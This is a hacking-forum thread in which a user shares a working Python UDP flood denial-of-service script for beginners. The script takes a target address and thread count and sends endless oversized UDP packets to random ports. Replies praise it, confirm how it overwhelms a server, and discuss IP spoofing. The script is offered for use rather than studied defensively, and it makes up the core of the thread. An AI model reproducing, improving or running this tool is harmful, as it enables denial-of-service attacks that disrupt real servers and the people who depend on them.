[systx]

Holla, so when I was a complete script kiddie and I was trying to make a dos script I was never able to find anything but complete crap, so for all you youngsters like I used to be here's some code to get yeah started :D
P.S. I would teach you how to use Raw sockets to spoof you Ip address but people won't reply to me and I can't find any documentation :/
I know about Scapy so for you all who say "Just use Scapy!", fuck yourself 😑

Code

import threading
import time
import socket
import random

Host = input("Address:")
Threads = int(input("Threads:"))
print("\nUsing Randomized Ports")

def Dos():
        sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        Data = (r"Anything you want here, Longer the text the better but you can only send so much without fragmenting" * 800)
        while True:
                Port = random.randrange(65535)
                sock.sendto(bytes(Data, "utf-8"), (Host, Port))


def main():
    thread1 = threading.Thread( target=Dos )
    thread1.start()
    

for anything in range(0, Threads):
        main()

You'll have to experiment with how many threads you computer
can handle.
Also feel free to call me a dumb-ass and not improve the code but hate on it! 👍

[supadopecat]

Thanks for sharing. In fact I am learning how the Dos works by reading the code.

So you are making threads that send packets to random ports. Correct?
Causing the traffic that overwhelm the server?

[Implorjin]

Lol. Spoofing your IP is actually easy...

[SilenceHacker]

Thanks for the share, I can learn from this I'm sure.

[kille142]

Thanks, learned a lots from this.

[systx]

Thanks for sharing. In fact I am learning how the Dos works by reading the code.

So you are making threads that send packets to random ports. Correct?
Causing the traffic that overwhelm the server?

Yep exactly, also the packets that are being sent are udp packets.

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Lol. Spoofing your IP is actually easy...

I'd love to see your code, please share!

[Volmorphio]

Thanks for this post, i'm currently learning python and reading this is helping understand more parts of it :)